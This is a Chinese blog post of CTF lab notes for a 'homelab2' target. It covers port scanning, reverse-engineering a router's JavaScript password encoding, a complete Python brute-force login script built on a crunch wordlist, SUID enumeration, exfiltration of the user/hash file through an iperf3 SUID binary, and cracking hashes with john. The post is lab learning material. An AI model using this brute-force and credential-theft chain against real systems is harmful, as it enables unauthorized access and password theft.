当前位置: 首页 > news >正文

homelab2靶场学习笔记

    • 正文
      • 1、端口扫描
      • 2、代码审计
      • 3、脚本攻击
      • 4、文件下载
      • 5、哈希密码破解

正文

1、端口扫描

在kali里,使用nmap工具:

nmap-sV-v-T4-A靶机地址


开放了22和80端口。

2、代码审计

访问页面,发现是个路由器,要求输入密码。查看忘记密码,有提示:

把网页源码扒过来:

curlhttp://你的靶机地址/>a.txt

精准提取文本文件里的JavaScript脚本块,读取 a.txt 文件的内容,只筛选并显示从 “script ”标签开始、到“ /script”标签结束的所有行:

cata.txt|sed-n'/<script.*>/,/<\/script>/p'
  • -n
    sed 的关键参数 → 只显示符合条件的行(不加 -n 会默认输出所有行,筛选效果失效)。
  • /<script.*>/,/<\/script>/
    匹配范围规则:
    /<script.>/ → 匹配包含 <script 开头、后面跟任意字符(.)且以 > 结尾的行(比如 行(注意:/ 在 sed 里是特殊字符,需要加 \ 转义,写成 /)。
  • p
    print 的缩写 → 打印(显示)符合范围的行。

    把输出的js代码,扔给豆包,重构一份python3的脚本:

    通过运行python脚本,掌握加密方法:

题目给了提示:

编写破解字典pass1.txt

crunch88-t2000%%%%-opass.txt

命令含义:

crunch 最小长度 最大长度-t模板-o输出文件
  • %= 数字 0-9
  • ^= 大写字母
  • @= 小写字母
  • += 符号

3、脚本攻击

编写破解密码脚本a.py

#!/usr/bin/env python3# -*- coding: utf-8 -*-""" 脚本功能: 1. 复刻JS逻辑实现路由器密码加密 2. 批量验证密码是否正确(爆破验证) 3. 提供独立的加密函数入口 核心函数说明: - security_encode: 核心加密函数(完全复刻JS逻辑) - org_auth_pwd: 路由器密码加密入口函数(对外调用接口) - login_and_check: 密码加密后调用登录接口验证是否正确 """importsysimportrequestsfromtqdmimporttqdmdefsecurity_encode(plain_pwd:str,key_str:str,char_pool:str)->str:""" 核心加密函数(完全复刻JS逻辑) :param plain_pwd: 明文密码(用户输入的密码) :param key_str: 固定密钥字符串 :param char_pool: 固定字符池字符串 :return: 加密后的密码字符串 加密逻辑步骤: 1. 初始化结果字符串和固定初始值(187) 2. 获取明文密码、密钥、字符池的长度 3. 循环次数取明文密码和密钥长度的最大值 4. 每次循环重置初始值为187,根据索引位置获取对应ASCII码: - 索引超过明文长度 → 只用密钥字符的ASCII码 - 索引超过密钥长度 → 只用明文字符的ASCII码 - 都没超过 → 同时取明文和密钥的ASCII码 5. 核心运算:ASCII码异或 → 对字符池长度取余 → 取对应字符 6. 拼接所有字符得到加密结果 """# 初始化结果字符串result=""# 固定初始值(JS代码中写死的 187)default_code=187# 获取各个字符串长度pwd_len=len(plain_pwd)key_len=len(key_str)pool_len=len(char_pool)# 循环次数 = 明文密码 和 密钥串 的最大长度(JS: Math.max(f,g))max_loop=max(pwd_len,key_len)forindexinrange(max_loop):# 每次循环重置为默认值 187k_code=default_code l_code=default_code# 逻辑完全对应JS代码:# 1. 如果索引超过明文长度 → 只用密钥字符ifindex>=pwd_len:l_code=ord(key_str[index])# 2. 如果索引超过密钥长度 → 只用明文字符elifindex>=key_len:k_code=ord(plain_pwd[index])# 3. 都没超过 → 同时取明文和密钥的ASCII码else:k_code=ord(plain_pwd[index])l_code=ord(key_str[index])# 核心运算:异或 ^ → 对字符池长度取余 → 取出对应字符xor_result=k_code^l_code result+=char_pool[xor_result%pool_len]returnresultdeforg_auth_pwd(plain_pwd:str)->str:""" 路由器密码加密入口函数(对外调用接口) :param plain_pwd: 明文路由器登录密码 :return: 加密后可用于登录的密码 固定参数说明: - FIXED_KEY: JS中写死的第二个密钥参数("RDpbLfCPsJZ7fiv") - FIXED_POOL: JS中写死的第三个字符池参数(超长字符串) """# 固定密钥1(JS中写死的第二个参数)FIXED_KEY="RDpbLfCPsJZ7fiv"# 固定字符池(JS中写死的第三个参数)FIXED_POOL="yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"# 调用核心加密函数returnsecurity_encode(plain_pwd,FIXED_KEY,FIXED_POOL)deflogin_and_check(password):""" 密码验证函数:加密密码后调用登录接口验证是否正确 :param password: 明文密码 :return: 验证结果(True=密码正确,False=密码错误) 验证流程: 1. 调用加密函数生成加密密码 2. POST请求登录接口 3. 检查返回内容是否包含"Invalid Credentials"判断是否登录成功 """crtpt_pass=org_auth_pwd(password)a=requests.post("http://你的靶机地址/l061n.php",data={"password":crtpt_pass})if'Invalid Credentials'ina.text:returnFalseelse:returnTrue# ------------------- 测试示例 -------------------if__name__=='__main__':""" 主程序逻辑(批量密码验证): 1. 打开密码字典文件 pass1.txt(忽略编码错误) 2. 逐行读取密码并去除首尾空白字符 3. 使用tqdm显示进度条,逐个验证密码 4. 找到正确密码后打印并退出程序 备用测试逻辑(单行测试): - 输入明文密码 → 生成加密密码 → 打印对比结果 """# 批量验证密码字典f=open('pass1.txt',errors='ignore')foriintqdm(f):i=i.strip()# 去除换行符和空格flag=login_and_check(i)ifflag:print("[+]Found:{}".format(i))sys.exit(0)# 找到正确密码后立即退出

a.py脚本运行后,拿到密码:20000255

给了一个用户名和密码:link:8edb7803e66fb28a982f5be410bf4f29eb0ebaf6

ssh登录,查看可执行的高权限操作:

从根目录/开始搜索所有文件,只找属主是 root的文件、只找设置了 SUID 权限的文件,并且把搜索过程中产生的「权限拒绝」等错误信息重定向到黑洞

find/-userroot-perm-40002>/dev/null

4、文件下载

利用ipferf3这个工具传文件,kali设置成服务端,下载靶场的用户名密码文件:

靶场设置成客户端,发送文件:

实现把靶场的用户及哈希密码文件下载下来。当然,也可以反着来,攻击机传文件给靶场:
靶场,作为服务端:

/usr/bin/iperf3-s-F./a.txt

kali作为客户端:

iperf3-c靶机地址-F./a.txt

5、哈希密码破解

然后hash撞库:

john tmp--wordlist=xato-net-10-million-passwords.txt

拿到root密码:

http://www.jsqmd.com/news/848525/

相关文章:

  • 【2024最权威测评】:Gemini 1.5 Pro vs. Gemini Flash在Gmail场景下的实时回复延迟、语义保真度与合规性三重对比(含17项基准测试数据)
  • 【Perplexity心理健康资源权威指南】:20年临床IT专家亲测的5大高隐蔽性心理支持工具揭秘
  • 英文降AI别再依赖机翻换词!实测3款底层逻辑重构工具(附Turnitin通关3步流程)
  • 快速上手3DGS数字孪生开发:一份必做的技术动作盘点清单
  • 网盘直链下载助手:九大网盘一键获取真实下载地址的终极指南
  • 基于牛顿–拉夫逊法的 IEEE 9 节点电力系统潮流计算实现与分析(Matlab代码实现)
  • AI技术总监的晋升密码:搞定这6件事,你也能领导AI团队
  • LinuxVLAN接口生产排障流程
  • 2026现阶段光伏线回收服务优选:专业、合规、高效的价值之选 - 2026年企业推荐榜
  • 智绘低空新图景:黎阳之光以数智技术赋能低空经济高质量发展
  • Perplexity企业端渗透率不足6.3%?一文讲透其销售漏斗断层、客户流失TOP3原因及90天挽回SOP
  • 贴片机的未来发展:创新技术驱动产业升级
  • 自主Agent的下一代智能系统
  • 加速3DGS生成与数字孪生开发:不可错过的8款效率工具盘点
  • 英雄联盟智能助手Seraphine:免费终极游戏战绩查询与辅助工具完整指南
  • 低通滤波--面向储能变流器
  • OneDrive彻底卸载终极指南:释放Windows系统资源的完全解决方案
  • 对比不同模型在Taotoken平台上的响应速度与效果初探
  • 人机协同中AI的示弱策略
  • 为什么你的Perplexity搜不出科学健身计划?NIST认证信息检索模型原理首度公开
  • SpringBoot学习日记——DAY02(SpringBoot整合Swagger3)
  • LinuxVLAN接口稳定性治理方法
  • 2026年唯一通过广电AIGC内容安全认证的3款视频生成工具(附检测报告编号+审核链路图解)
  • Perplexity健康科普查询实战手册:3步精准获取可信医学信息,告别伪科学焦虑
  • V90驱动安装间距到底怎么留?一张图看懂200V/400V全系列螺栓规格与散热降额规则
  • 终极指南:5分钟掌握Open-Lyrics,让AI智能生成精准字幕
  • 视听融合新范式!黎阳之光打破视觉边界,声影协同赋能全域智慧管控
  • 星地建链-通信距离计算
  • High Dynamic Range Image Tone Mapping学习笔记
  • 知网高级检索语法 × Perplexity语义理解:双系统协同效率提升317%的权威验证报告(附中科院实测数据)